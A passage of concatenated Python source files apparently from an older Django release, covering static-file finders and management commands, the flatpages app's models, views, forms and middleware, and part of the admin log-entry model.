        instance.
        """
        raise NotImplementedError('subclasses of BaseFinder must provide a list() method')


class FileSystemFinder(BaseFinder):
    """
    A static files finder that uses the ``STATICFILES_DIRS`` setting
    to locate files.
    """
    def __init__(self, app_names=None, *args, **kwargs):
        # List of locations with static files
        self.locations = []
        # Maps dir paths to an appropriate storage instance
        self.storages = OrderedDict()
        if not isinstance(settings.STATICFILES_DIRS, (list, tuple)):
            raise ImproperlyConfigured(
                "Your STATICFILES_DIRS setting is not a tuple or list; "
                "perhaps you forgot a trailing comma?")
        for root in settings.STATICFILES_DIRS:
            if isinstance(root, (list, tuple)):
                prefix, root = root
            else:
                prefix = ''
            if settings.STATIC_ROOT and os.path.abspath(settings.STATIC_ROOT) == os.path.abspath(root):
                raise ImproperlyConfigured(
                    "The STATICFILES_DIRS setting should "
                    "not contain the STATIC_ROOT setting")
            if (prefix, root) not in self.locations:
                self.locations.append((prefix, root))
        for prefix, root in self.locations:
            filesystem_storage = FileSystemStorage(location=root)
            filesystem_storage.prefix = prefix
            self.storages[root] = filesystem_storage
        super(FileSystemFinder, self).__init__(*args, **kwargs)

    def find(self, path, all=False):
        """
        Looks for files in the extra locations
        as defined in ``STATICFILES_DIRS``.
        """
        matches = []
        for prefix, root in self.locations:
            if root not in searched_locations:
                searched_locations.append(root)
            matched_path = self.find_location(root, path, prefix)
            if matched_path:
                if not all:
                    return matched_path
                matches.append(matched_path)
        return matches

    def find_location(self, root, path, prefix=None):
        """
        Finds a requested static file in a location, returning the found
        absolute path (or ``None`` if no match).
        """
        if prefix:
            prefix = '%s%s' % (prefix, os.sep)
            if not path.startswith(prefix):
                return None
            path = path[len(prefix):]
        path = safe_join(root, path)
        if os.path.exists(path):
            return path

    def list(self, ignore_patterns):
        """
        List all files in all locations.
        """
        for prefix, root in self.locations:
            storage = self.storages[root]
            for path in utils.get_files(storage, ignore_patterns):
                yield path, storage


class AppDirectoriesFinder(BaseFinder):
    """
    A static files finder that looks in the directory of each app as
    specified in the source_dir attribute.
    """
    storage_class = FileSystemStorage
    source_dir = 'static'

    def __init__(self, app_names=None, *args, **kwargs):
        # The list of apps that are handled
        self.apps = []
        # Mapping of app names to storage instances
        self.storages = OrderedDict()
        app_configs = apps.get_app_configs()
        if app_names:
            app_names = set(app_names)
            app_configs = [ac for ac in app_configs if ac.name in app_names]
        for app_config in app_configs:
            app_storage = self.storage_class(
                os.path.join(app_config.path, self.source_dir))
            if os.path.isdir(app_storage.location):
                self.storages[app_config.name] = app_storage
                if app_config.name not in self.apps:
                    self.apps.append(app_config.name)
        super(AppDirectoriesFinder, self).__init__(*args, **kwargs)

    def list(self, ignore_patterns):
        """
        List all files in all app storages.
        """
        for storage in six.itervalues(self.storages):
            if storage.exists(''):  # check if storage location exists
                for path in utils.get_files(storage, ignore_patterns):
                    yield path, storage

    def find(self, path, all=False):
        """
        Looks for files in the app directories.
        """
        matches = []
        for app in self.apps:
            app_location = self.storages[app].location
            if app_location not in searched_locations:
                searched_locations.append(app_location)
            match = self.find_in_app(app, path)
            if match:
                if not all:
                    return match
                matches.append(match)
        return matches

    def find_in_app(self, app, path):
        """
        Find a requested static file in an app's static locations.
        """
        storage = self.storages.get(app)
        if storage:
            # only try to find a file if the source dir actually exists
            if storage.exists(path):
                matched_path = storage.path(path)
                if matched_path:
                    return matched_path


class BaseStorageFinder(BaseFinder):
    """
    A base static files finder to be used to extended
    with an own storage class.
    """
    storage = None

    def __init__(self, storage=None, *args, **kwargs):
        if storage is not None:
            self.storage = storage
        if self.storage is None:
            raise ImproperlyConfigured("The staticfiles storage finder %r "
                                       "doesn't have a storage class "
                                       "assigned." % self.__class__)
        # Make sure we have an storage instance here.
        if not isinstance(self.storage, (Storage, LazyObject)):
            self.storage = self.storage()
        super(BaseStorageFinder, self).__init__(*args, **kwargs)

    def find(self, path, all=False):
        """
        Looks for files in the default file storage, if it's local.
        """
        try:
            self.storage.path('')
        except NotImplementedError:
            pass
        else:
            if self.storage.location not in searched_locations:
                searched_locations.append(self.storage.location)
            if self.storage.exists(path):
                match = self.storage.path(path)
                if all:
                    match = [match]
                return match
        return []

    def list(self, ignore_patterns):
        """
        List all files of the storage.
        """
        for path in utils.get_files(self.storage, ignore_patterns):
            yield path, self.storage


class DefaultStorageFinder(BaseStorageFinder):
    """
    A static files finder that uses the default storage backend.
    """
    storage = default_storage

    def __init__(self, *args, **kwargs):
        super(DefaultStorageFinder, self).__init__(*args, **kwargs)
        base_location = getattr(self.storage, 'base_location', empty)
        if not base_location:
            raise ImproperlyConfigured("The storage backend of the "
                                       "staticfiles finder %r doesn't have "
                                       "a valid location." % self.__class__)


def find(path, all=False):
    """
    Find a static file with the given path using all enabled finders.

    If ``all`` is ``False`` (default), return the first matching
    absolute path (or ``None`` if no match). Otherwise return a list.
    """
    searched_locations[:] = []
    matches = []
    for finder in get_finders():
        result = finder.find(path, all=all)
        if not all and result:
            return result
        if not isinstance(result, (list, tuple)):
            result = [result]
        matches.extend(result)
    if matches:
        return matches
    # No match.
    return [] if all else None


def get_finders():
    for finder_path in settings.STATICFILES_FINDERS:
        yield get_finder(finder_path)


@lru_cache.lru_cache(maxsize=None)
def get_finder(import_path):
    """
    Imports the staticfiles finder class described by import_path, where
    import_path is the full Python path to the class.
    """
    Finder = import_string(import_path)
    if not issubclass(Finder, BaseFinder):
        raise ImproperlyConfigured('Finder "%s" is not a subclass of "%s"' %
                                   (Finder, BaseFinder))
    return Finder()






default_app_config = 'django.contrib.staticfiles.apps.StaticFilesConfig'






import fnmatch
import os

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured


def matches_patterns(path, patterns=None):
    """
    Return True or False depending on whether the ``path`` should be
    ignored (if it matches any pattern in ``ignore_patterns``).
    """
    if patterns is None:
        patterns = []
    for pattern in patterns:
        if fnmatch.fnmatchcase(path, pattern):
            return True
    return False


def get_files(storage, ignore_patterns=None, location=''):
    """
    Recursively walk the storage directories yielding the paths
    of all files that should be copied.
    """
    if ignore_patterns is None:
        ignore_patterns = []
    directories, files = storage.listdir(location)
    for fn in files:
        if matches_patterns(fn, ignore_patterns):
            continue
        if location:
            fn = os.path.join(location, fn)
        yield fn
    for dir in directories:
        if matches_patterns(dir, ignore_patterns):
            continue
        if location:
            dir = os.path.join(location, dir)
        for fn in get_files(storage, ignore_patterns, dir):
            yield fn


def check_settings(base_url=None):
    """
    Checks if the staticfiles settings have sane values.
    """
    if base_url is None:
        base_url = settings.STATIC_URL
    if not base_url:
        raise ImproperlyConfigured(
            "You're using the staticfiles app "
            "without having set the required STATIC_URL setting.")
    if settings.MEDIA_URL == base_url:
        raise ImproperlyConfigured("The MEDIA_URL and STATIC_URL "
                                   "settings must have different values")
    if ((settings.MEDIA_ROOT and settings.STATIC_ROOT) and
            (settings.MEDIA_ROOT == settings.STATIC_ROOT)):
        raise ImproperlyConfigured("The MEDIA_ROOT and STATIC_ROOT "
                                   "settings must have different values")






from django import template
from django.templatetags.static import (
    do_static as _do_static, static as _static,
)

register = template.Library()


def static(path):
    # Backwards compatibility alias for django.templatetags.static.static().
    # Deprecation should start in Django 2.0.
    return _static(path)


@register.tag('static')
def do_static(parser, token):
    # Backwards compatibility alias for django.templatetags.static.do_static().
    # Deprecation should start in Django 2.0.
    return _do_static(parser, token)


















from __future__ import unicode_literals

import os

from django.contrib.staticfiles import finders
from django.core.management.base import LabelCommand
from django.utils.encoding import force_text


class Command(LabelCommand):
    help = "Finds the absolute paths for the given static file(s)."
    label = 'staticfile'

    def add_arguments(self, parser):
        super(Command, self).add_arguments(parser)
        parser.add_argument(
            '--first', action='store_false', dest='all',
            default=True,
            help="Only return the first match for each static file.",
        )

    def handle_label(self, path, **options):
        verbosity = options['verbosity']
        result = finders.find(path, all=options['all'])
        path = force_text(path)
        if verbosity >= 2:
            searched_locations = (
                "\nLooking in the following locations:\n  %s" %
                "\n  ".join(force_text(location) for location in finders.searched_locations)
            )
        else:
            searched_locations = ''
        if result:
            if not isinstance(result, (list, tuple)):
                result = [result]
            result = (force_text(os.path.realpath(path)) for path in result)
            if verbosity >= 1:
                file_list = '\n  '.join(result)
                return ("Found '%s' here:\n  %s%s" %
                        (path, file_list, searched_locations))
            else:
                return '\n'.join(result)
        else:
            message = ["No matching file found for '%s'." % path]
            if verbosity >= 2:
                message.append(searched_locations)
            if verbosity >= 1:
                self.stderr.write('\n'.join(message))












from django.conf import settings
from django.contrib.staticfiles.handlers import StaticFilesHandler
from django.core.management.commands.runserver import \
    Command as RunserverCommand


class Command(RunserverCommand):
    help = "Starts a lightweight Web server for development and also serves static files."

    def add_arguments(self, parser):
        super(Command, self).add_arguments(parser)
        parser.add_argument(
            '--nostatic', action="store_false", dest='use_static_handler', default=True,
            help='Tells Django to NOT automatically serve static files at STATIC_URL.',
        )
        parser.add_argument(
            '--insecure', action="store_true", dest='insecure_serving', default=False,
            help='Allows serving static files even if DEBUG is False.',
        )

    def get_handler(self, *args, **options):
        """
        Returns the static files serving handler wrapping the default handler,
        if static files should be served. Otherwise just returns the default
        handler.
        """
        handler = super(Command, self).get_handler(*args, **options)
        use_static_handler = options['use_static_handler']
        insecure_serving = options['insecure_serving']
        if use_static_handler and (settings.DEBUG or insecure_serving):
            return StaticFilesHandler(handler)
        return handler






from __future__ import unicode_literals

import os
from collections import OrderedDict

from django.apps import apps
from django.contrib.staticfiles.finders import get_finders
from django.contrib.staticfiles.storage import staticfiles_storage
from django.core.files.storage import FileSystemStorage
from django.core.management.base import BaseCommand, CommandError
from django.core.management.color import no_style
from django.utils.encoding import smart_text
from django.utils.functional import cached_property
from django.utils.six.moves import input


class Command(BaseCommand):
    """
    Command that allows to copy or symlink static files from different
    locations to the settings.STATIC_ROOT.
    """
    help = "Collect static files in a single location."
    requires_system_checks = False

    def __init__(self, *args, **kwargs):
        super(Command, self).__init__(*args, **kwargs)
        self.copied_files = []
        self.symlinked_files = []
        self.unmodified_files = []
        self.post_processed_files = []
        self.storage = staticfiles_storage
        self.style = no_style()

    @cached_property
    def local(self):
        try:
            self.storage.path('')
        except NotImplementedError:
            return False
        return True

    def add_arguments(self, parser):
        parser.add_argument(
            '--noinput', '--no-input',
            action='store_false', dest='interactive', default=True,
            help="Do NOT prompt the user for input of any kind.",
        )
        parser.add_argument(
            '--no-post-process',
            action='store_false', dest='post_process', default=True,
            help="Do NOT post process collected files.",
        )
        parser.add_argument(
            '-i', '--ignore', action='append', default=[],
            dest='ignore_patterns', metavar='PATTERN',
            help="Ignore files or directories matching this glob-style "
                 "pattern. Use multiple times to ignore more.",
        )
        parser.add_argument(
            '-n', '--dry-run',
            action='store_true', dest='dry_run', default=False,
            help="Do everything except modify the filesystem.",
        )
        parser.add_argument(
            '-c', '--clear',
            action='store_true', dest='clear', default=False,
            help="Clear the existing files using the storage "
                 "before trying to copy or link the original file.",
        )
        parser.add_argument(
            '-l', '--link',
            action='store_true', dest='link', default=False,
            help="Create a symbolic link to each file instead of copying.",
        )
        parser.add_argument(
            '--no-default-ignore', action='store_false',
            dest='use_default_ignore_patterns', default=True,
            help="Don't ignore the common private glob-style patterns (defaults to 'CVS', '.*' and '*~').",
        )

    def set_options(self, **options):
        """
        Set instance variables based on an options dict
        """
        self.interactive = options['interactive']
        self.verbosity = options['verbosity']
        self.symlink = options['link']
        self.clear = options['clear']
        self.dry_run = options['dry_run']
        ignore_patterns = options['ignore_patterns']
        if options['use_default_ignore_patterns']:
            ignore_patterns += apps.get_app_config('staticfiles').ignore_patterns
        self.ignore_patterns = list(set(ignore_patterns))
        self.post_process = options['post_process']

    def collect(self):
        """
        Perform the bulk of the work of collectstatic.

        Split off from handle() to facilitate testing.
        """
        if self.symlink and not self.local:
            raise CommandError("Can't symlink to a remote destination.")

        if self.clear:
            self.clear_dir('')

        if self.symlink:
            handler = self.link_file
        else:
            handler = self.copy_file

        found_files = OrderedDict()
        for finder in get_finders():
            for path, storage in finder.list(self.ignore_patterns):
                # Prefix the relative path if the source storage contains it
                if getattr(storage, 'prefix', None):
                    prefixed_path = os.path.join(storage.prefix, path)
                else:
                    prefixed_path = path

                if prefixed_path not in found_files:
                    found_files[prefixed_path] = (storage, path)
                    handler(path, prefixed_path, storage)
                else:
                    self.log(
                        "Found another file with the destination path '%s'. It "
                        "will be ignored since only the first encountered file "
                        "is collected. If this is not what you want, make sure "
                        "every static file has a unique path." % prefixed_path,
                        level=1,
                    )

        # Here we check if the storage backend has a post_process
        # method and pass it the list of modified files.
        if self.post_process and hasattr(self.storage, 'post_process'):
            processor = self.storage.post_process(found_files,
                                                  dry_run=self.dry_run)
            for original_path, processed_path, processed in processor:
                if isinstance(processed, Exception):
                    self.stderr.write("Post-processing '%s' failed!" % original_path)
                    # Add a blank line before the traceback, otherwise it's
                    # too easy to miss the relevant part of the error message.
                    self.stderr.write("")
                    raise processed
                if processed:
                    self.log("Post-processed '%s' as '%s'" %
                             (original_path, processed_path), level=1)
                    self.post_processed_files.append(original_path)
                else:
                    self.log("Skipped post-processing '%s'" % original_path)

        return {
            'modified': self.copied_files + self.symlinked_files,
            'unmodified': self.unmodified_files,
            'post_processed': self.post_processed_files,
        }

    def handle(self, **options):
        self.set_options(**options)

        message = ['\n']
        if self.dry_run:
            message.append(
                'You have activated the --dry-run option so no files will be modified.\n\n'
            )

        message.append(
            'You have requested to collect static files at the destination\n'
            'location as specified in your settings'
        )

        if self.is_local_storage() and self.storage.location:
            destination_path = self.storage.location
            message.append(':\n\n    %s\n\n' % destination_path)
        else:
            destination_path = None
            message.append('.\n\n')

        if self.clear:
            message.append('This will DELETE ALL FILES in this location!\n')
        else:
            message.append('This will overwrite existing files!\n')

        message.append(
            'Are you sure you want to do this?\n\n'
            "Type 'yes' to continue, or 'no' to cancel: "
        )

        if self.interactive and input(''.join(message)) != 'yes':
            raise CommandError("Collecting static files cancelled.")

        collected = self.collect()
        modified_count = len(collected['modified'])
        unmodified_count = len(collected['unmodified'])
        post_processed_count = len(collected['post_processed'])

        if self.verbosity >= 1:
            template = ("\n%(modified_count)s %(identifier)s %(action)s"
                        "%(destination)s%(unmodified)s%(post_processed)s.\n")
            summary = template % {
                'modified_count': modified_count,
                'identifier': 'static file' + ('' if modified_count == 1 else 's'),
                'action': 'symlinked' if self.symlink else 'copied',
                'destination': (" to '%s'" % destination_path if destination_path else ''),
                'unmodified': (', %s unmodified' % unmodified_count if collected['unmodified'] else ''),
                'post_processed': (collected['post_processed'] and
                                   ', %s post-processed'
                                   % post_processed_count or ''),
            }
            return summary

    def log(self, msg, level=2):
        """
        Small log helper
        """
        if self.verbosity >= level:
            self.stdout.write(msg)

    def is_local_storage(self):
        return isinstance(self.storage, FileSystemStorage)

    def clear_dir(self, path):
        """
        Deletes the given relative path using the destination storage backend.
        """
        if not self.storage.exists(path):
            return

        dirs, files = self.storage.listdir(path)
        for f in files:
            fpath = os.path.join(path, f)
            if self.dry_run:
                self.log("Pretending to delete '%s'" %
                         smart_text(fpath), level=1)
            else:
                self.log("Deleting '%s'" % smart_text(fpath), level=1)
                try:
                    full_path = self.storage.path(fpath)
                except NotImplementedError:
                    self.storage.delete(fpath)
                else:
                    if not os.path.exists(full_path) and os.path.lexists(full_path):
                        # Delete broken symlinks
                        os.unlink(full_path)
                    else:
                        self.storage.delete(fpath)
        for d in dirs:
            self.clear_dir(os.path.join(path, d))

    def delete_file(self, path, prefixed_path, source_storage):
        """
        Checks if the target file should be deleted if it already exists
        """
        if self.storage.exists(prefixed_path):
            try:
                # When was the target file modified last time?
                target_last_modified = self.storage.get_modified_time(prefixed_path)
            except (OSError, NotImplementedError, AttributeError):
                # The storage doesn't support get_modified_time() or failed
                pass
            else:
                try:
                    # When was the source file modified last time?
                    source_last_modified = source_storage.get_modified_time(path)
                except (OSError, NotImplementedError, AttributeError):
                    pass
                else:
                    # The full path of the target file
                    if self.local:
                        full_path = self.storage.path(prefixed_path)
                    else:
                        full_path = None
                    # Skip the file if the source file is younger
                    # Avoid sub-second precision (see #14665, #19540)
                    if (target_last_modified.replace(microsecond=0) >= source_last_modified.replace(microsecond=0) and
                            full_path and not (self.symlink ^ os.path.islink(full_path))):
                        if prefixed_path not in self.unmodified_files:
                            self.unmodified_files.append(prefixed_path)
                        self.log("Skipping '%s' (not modified)" % path)
                        return False
            # Then delete the existing file if really needed
            if self.dry_run:
                self.log("Pretending to delete '%s'" % path)
            else:
                self.log("Deleting '%s'" % path)
                self.storage.delete(prefixed_path)
        return True

    def link_file(self, path, prefixed_path, source_storage):
        """
        Attempt to link ``path``
        """
        # Skip this file if it was already copied earlier
        if prefixed_path in self.symlinked_files:
            return self.log("Skipping '%s' (already linked earlier)" % path)
        # Delete the target file if needed or break
        if not self.delete_file(path, prefixed_path, source_storage):
            return
        # The full path of the source file
        source_path = source_storage.path(path)
        # Finally link the file
        if self.dry_run:
            self.log("Pretending to link '%s'" % source_path, level=1)
        else:
            self.log("Linking '%s'" % source_path, level=1)
            full_path = self.storage.path(prefixed_path)
            try:
                os.makedirs(os.path.dirname(full_path))
            except OSError:
                pass
            try:
                if os.path.lexists(full_path):
                    os.unlink(full_path)
                os.symlink(source_path, full_path)
            except AttributeError:
                import platform
                raise CommandError("Symlinking is not supported by Python %s." %
                                   platform.python_version())
            except NotImplementedError:
                import platform
                raise CommandError("Symlinking is not supported in this "
                                   "platform (%s)." % platform.platform())
            except OSError as e:
                raise CommandError(e)
        if prefixed_path not in self.symlinked_files:
            self.symlinked_files.append(prefixed_path)

    def copy_file(self, path, prefixed_path, source_storage):
        """
        Attempt to copy ``path`` with storage
        """
        # Skip this file if it was already copied earlier
        if prefixed_path in self.copied_files:
            return self.log("Skipping '%s' (already copied earlier)" % path)
        # Delete the target file if needed or break
        if not self.delete_file(path, prefixed_path, source_storage):
            return
        # The full path of the source file
        source_path = source_storage.path(path)
        # Finally start copying
        if self.dry_run:
            self.log("Pretending to copy '%s'" % source_path, level=1)
        else:
            self.log("Copying '%s'" % source_path, level=1)
            with source_storage.open(path) as source_file:
                self.storage.save(prefixed_path, source_file)
        self.copied_files.append(prefixed_path)






from __future__ import unicode_literals

from django.contrib.sites.models import Site
from django.db import models
from django.urls import get_script_prefix
from django.utils.encoding import iri_to_uri, python_2_unicode_compatible
from django.utils.translation import ugettext_lazy as _


@python_2_unicode_compatible
class FlatPage(models.Model):
    url = models.CharField(_('URL'), max_length=100, db_index=True)
    title = models.CharField(_('title'), max_length=200)
    content = models.TextField(_('content'), blank=True)
    enable_comments = models.BooleanField(_('enable comments'), default=False)
    template_name = models.CharField(
        _('template name'),
        max_length=70,
        blank=True,
        help_text=_(
            "Example: 'flatpages/contact_page.html'. If this isn't provided, "
            "the system will use 'flatpages/default.html'."
        ),
    )
    registration_required = models.BooleanField(
        _('registration required'),
        help_text=_("If this is checked, only logged-in users will be able to view the page."),
        default=False,
    )
    sites = models.ManyToManyField(Site, verbose_name=_('sites'))

    class Meta:
        db_table = 'django_flatpage'
        verbose_name = _('flat page')
        verbose_name_plural = _('flat pages')
        ordering = ('url',)

    def __str__(self):
        return "%s -- %s" % (self.url, self.title)

    def get_absolute_url(self):
        # Handle script prefix manually because we bypass reverse()
        return iri_to_uri(get_script_prefix().rstrip('/') + self.url)






from django.contrib import admin
from django.contrib.flatpages.forms import FlatpageForm
from django.contrib.flatpages.models import FlatPage
from django.utils.translation import ugettext_lazy as _


@admin.register(FlatPage)
class FlatPageAdmin(admin.ModelAdmin):
    form = FlatpageForm
    fieldsets = (
        (None, {'fields': ('url', 'title', 'content', 'sites')}),
        (_('Advanced options'), {
            'classes': ('collapse',),
            'fields': ('registration_required', 'template_name'),
        }),
    )
    list_display = ('url', 'title')
    list_filter = ('sites', 'registration_required')
    search_fields = ('url', 'title')






from django.conf import settings
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.shortcuts import get_current_site
from django.http import Http404, HttpResponse, HttpResponsePermanentRedirect
from django.shortcuts import get_object_or_404
from django.template import loader
from django.utils.safestring import mark_safe
from django.views.decorators.csrf import csrf_protect

DEFAULT_TEMPLATE = 'flatpages/default.html'

# This view is called from FlatpageFallbackMiddleware.process_response
# when a 404 is raised, which often means CsrfViewMiddleware.process_view
# has not been called even if CsrfViewMiddleware is installed. So we need
# to use @csrf_protect, in case the template needs {% csrf_token %}.
# However, we can't just wrap this view; if no matching flatpage exists,
# or a redirect is required for authentication, the 404 needs to be returned
# without any CSRF checks. Therefore, we only
# CSRF protect the internal implementation.


def flatpage(request, url):
    """
    Public interface to the flat page view.

    Models: `flatpages.flatpages`
    Templates: Uses the template defined by the ``template_name`` field,
        or :template:`flatpages/default.html` if template_name is not defined.
    Context:
        flatpage
            `flatpages.flatpages` object
    """
    if not url.startswith('/'):
        url = '/' + url
    site_id = get_current_site(request).id
    try:
        f = get_object_or_404(FlatPage, url=url, sites=site_id)
    except Http404:
        if not url.endswith('/') and settings.APPEND_SLASH:
            url += '/'
            f = get_object_or_404(FlatPage, url=url, sites=site_id)
            return HttpResponsePermanentRedirect('%s/' % request.path)
        else:
            raise
    return render_flatpage(request, f)


@csrf_protect
def render_flatpage(request, f):
    """
    Internal interface to the flat page view.
    """
    # If registration is required for accessing this page, and the user isn't
    # logged in, redirect to the login page.
    if f.registration_required and not request.user.is_authenticated:
        from django.contrib.auth.views import redirect_to_login
        return redirect_to_login(request.path)
    if f.template_name:
        template = loader.select_template((f.template_name, DEFAULT_TEMPLATE))
    else:
        template = loader.get_template(DEFAULT_TEMPLATE)

    # To avoid having to always use the "|safe" filter in flatpage templates,
    # mark the title and content as already safe (since they are raw HTML
    # content in the first place).
    f.title = mark_safe(f.title)
    f.content = mark_safe(f.content)

    response = HttpResponse(template.render({'flatpage': f}, request))
    return response






from django import forms
from django.conf import settings
from django.contrib.flatpages.models import FlatPage
from django.utils.translation import ugettext, ugettext_lazy as _


class FlatpageForm(forms.ModelForm):
    url = forms.RegexField(
        label=_("URL"),
        max_length=100,
        regex=r'^[-\w/\.~]+$',
        help_text=_("Example: '/about/contact/'. Make sure to have leading and trailing slashes."),
        error_messages={
            "invalid": _(
                "This value must contain only letters, numbers, dots, "
                "underscores, dashes, slashes or tildes."
            ),
        },
    )

    class Meta:
        model = FlatPage
        fields = '__all__'

    def clean_url(self):
        url = self.cleaned_data['url']
        if not url.startswith('/'):
            raise forms.ValidationError(
                ugettext("URL is missing a leading slash."),
                code='missing_leading_slash',
            )
        if (settings.APPEND_SLASH and (
                (settings.MIDDLEWARE and 'django.middleware.common.CommonMiddleware' in settings.MIDDLEWARE) or
                'django.middleware.common.CommonMiddleware' in settings.MIDDLEWARE_CLASSES) and
                not url.endswith('/')):
            raise forms.ValidationError(
                ugettext("URL is missing a trailing slash."),
                code='missing_trailing_slash',
            )
        return url

    def clean(self):
        url = self.cleaned_data.get('url')
        sites = self.cleaned_data.get('sites')

        same_url = FlatPage.objects.filter(url=url)
        if self.instance.pk:
            same_url = same_url.exclude(pk=self.instance.pk)

        if sites and same_url.filter(sites__in=sites).exists():
            for site in sites:
                if same_url.filter(sites=site).exists():
                    raise forms.ValidationError(
                        _('Flatpage with url %(url)s already exists for site %(site)s'),
                        code='duplicate_url',
                        params={'url': url, 'site': site},
                    )

        return super(FlatpageForm, self).clean()






from django.conf.urls import url
from django.contrib.flatpages import views

urlpatterns = [
    url(r'^(?P<url>.*)$', views.flatpage, name='django.contrib.flatpages.views.flatpage'),
]






from django.apps import AppConfig
from django.utils.translation import ugettext_lazy as _


class FlatPagesConfig(AppConfig):
    name = 'django.contrib.flatpages'
    verbose_name = _("Flat Pages")






default_app_config = 'django.contrib.flatpages.apps.FlatPagesConfig'






from django.apps import apps as django_apps
from django.contrib.sitemaps import Sitemap
from django.core.exceptions import ImproperlyConfigured


class FlatPageSitemap(Sitemap):
    def items(self):
        if not django_apps.is_installed('django.contrib.sites'):
            raise ImproperlyConfigured("FlatPageSitemap requires django.contrib.sites, which isn't installed.")
        Site = django_apps.get_model('sites.Site')
        current_site = Site.objects.get_current()
        return current_site.flatpage_set.filter(registration_required=False)






from django.conf import settings
from django.contrib.flatpages.views import flatpage
from django.http import Http404
from django.utils.deprecation import MiddlewareMixin


class FlatpageFallbackMiddleware(MiddlewareMixin):
    def process_response(self, request, response):
        if response.status_code != 404:
            return response  # No need to check for a flatpage for non-404 responses.
        try:
            return flatpage(request, request.path_info)
        # Return the original response if any errors happened. Because this
        # is a middleware, we can't assume the errors will be caught elsewhere.
        except Http404:
            return response
        except Exception:
            if settings.DEBUG:
                raise
            return response






from django import template
from django.conf import settings
from django.contrib.flatpages.models import FlatPage
from django.contrib.sites.shortcuts import get_current_site

register = template.Library()


class FlatpageNode(template.Node):
    def __init__(self, context_name, starts_with=None, user=None):
        self.context_name = context_name
        if starts_with:
            self.starts_with = template.Variable(starts_with)
        else:
            self.starts_with = None
        if user:
            self.user = template.Variable(user)
        else:
            self.user = None

    def render(self, context):
        if 'request' in context:
            site_pk = get_current_site(context['request']).pk
        else:
            site_pk = settings.SITE_ID
        flatpages = FlatPage.objects.filter(sites__id=site_pk)
        # If a prefix was specified, add a filter
        if self.starts_with:
            flatpages = flatpages.filter(
                url__startswith=self.starts_with.resolve(context))

        # If the provided user is not authenticated, or no user
        # was provided, filter the list to only public flatpages.
        if self.user:
            user = self.user.resolve(context)
            if not user.is_authenticated:
                flatpages = flatpages.filter(registration_required=False)
        else:
            flatpages = flatpages.filter(registration_required=False)

        context[self.context_name] = flatpages
        return ''


@register.tag
def get_flatpages(parser, token):
    """
    Retrieves all flatpage objects available for the current site and
    visible to the specific user (or visible to all users if no user is
    specified). Populates the template context with them in a variable
    whose name is defined by the ``as`` clause.

    An optional ``for`` clause can be used to control the user whose
    permissions are to be used in determining which flatpages are visible.

    An optional argument, ``starts_with``, can be applied to limit the
    returned flatpages to those beginning with a particular base URL.
    This argument can be passed as a variable or a string, as it resolves
    from the template context.

    Syntax::

        {% get_flatpages ['url_starts_with'] [for user] as context_name %}

    Example usage::

        {% get_flatpages as flatpages %}
        {% get_flatpages for someuser as flatpages %}
        {% get_flatpages '/about/' as about_pages %}
        {% get_flatpages prefix as about_pages %}
        {% get_flatpages '/about/' for someuser as about_pages %}
    """
    bits = token.split_contents()
    syntax_message = ("%(tag_name)s expects a syntax of %(tag_name)s "
                      "['url_starts_with'] [for user] as context_name" %
                      dict(tag_name=bits[0]))
    # Must have at 3-6 bits in the tag
    if len(bits) >= 3 and len(bits) <= 6:

        # If there's an even number of bits, there's no prefix
        if len(bits) % 2 == 0:
            prefix = bits[1]
        else:
            prefix = None

        # The very last bit must be the context name
        if bits[-2] != 'as':
            raise template.TemplateSyntaxError(syntax_message)
        context_name = bits[-1]

        # If there are 5 or 6 bits, there is a user defined
        if len(bits) >= 5:
            if bits[-4] != 'for':
                raise template.TemplateSyntaxError(syntax_message)
            user = bits[-3]
        else:
            user = None

        return FlatpageNode(context_name, starts_with=prefix, user=user)
    else:
        raise template.TemplateSyntaxError(syntax_message)












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        ('sites', '0001_initial'),
    ]

    operations = [
        migrations.CreateModel(
            name='FlatPage',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('url', models.CharField(max_length=100, verbose_name='URL', db_index=True)),
                ('title', models.CharField(max_length=200, verbose_name='title')),
                ('content', models.TextField(verbose_name='content', blank=True)),
                ('enable_comments', models.BooleanField(default=False, verbose_name='enable comments')),
                ('template_name', models.CharField(
                    help_text=(
                        "Example: 'flatpages/contact_page.html'. If this isn't provided, the system will use "
                        "'flatpages/default.html'."
                    ), max_length=70, verbose_name='template name', blank=True
                )),
                ('registration_required', models.BooleanField(
                    default=False, help_text='If this is checked, only logged-in users will be able to view the page.',
                    verbose_name='registration required'
                )),
                ('sites', models.ManyToManyField(to='sites.Site', verbose_name='sites')),
            ],
            options={
                'ordering': ('url',),
                'db_table': 'django_flatpage',
                'verbose_name': 'flat page',
                'verbose_name_plural': 'flat pages',
            },
            bases=(models.Model,),
        ),
    ]












from django.core.exceptions import SuspiciousOperation


class DisallowedModelAdminLookup(SuspiciousOperation):
    """Invalid filter was passed to admin view via URL querystring"""
    pass


class DisallowedModelAdminToField(SuspiciousOperation):
    """Invalid to_field was passed to admin view via URL query string"""
    pass






from __future__ import unicode_literals

import json

from django.conf import settings
from django.contrib.admin.utils import quote
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.urls import NoReverseMatch, reverse
from django.utils import timezone
from django.utils.encoding import python_2_unicode_compatible, smart_text
from django.utils.text import get_text_list
from django.utils.translation import ugettext, ugettext_lazy as _

ADDITION = 1
CHANGE = 2
DELETION = 3


class LogEntryManager(models.Manager):
    use_in_migrations = True

    def log_action(self, user_id, content_type_id, object_id, object_repr, action_flag, change_message=''):
        if isinstance(change_message, list):
            change_message = json.dumps(change_message)
        self.model.objects.create(
            user_id=user_id,
            content_type_id=content_type_id,
            object_id=smart_text(object_id),
            object_repr=object_repr[:200],
            action_flag=action_flag,
            change_message=change_message,
        )


@python_2_unicode_compatible
class LogEntry(models.Model):
    action_time = models.DateTimeField(
        _('action time'),
        default=timezone.now,
        editable=False,
    )
    user = models.ForeignKey(
        settings.AUTH_USER_MODEL,
        models.CASCADE,
        verbose_name=_('user'),
    )
    content_type = models.ForeignKey(
        ContentType,
        models.SET_NULL,
        verbose_name=_('content type'),
        blank=True, null=True,
    )
    object_id = models.TextField(_('object id'), blank=True, null=True)
    # Translators: 'repr' means representation (https://docs.python.org/3/library/functions.html#repr)
    object_repr = models.CharField(_('object repr'), max_length=200)
    action_flag = models.PositiveSmallIntegerField(_('action flag'))
    # change_message is either a string or a JSON structure
    change_message = models.TextField(_('change message'), blank=True)

    objects = LogEntryManager()

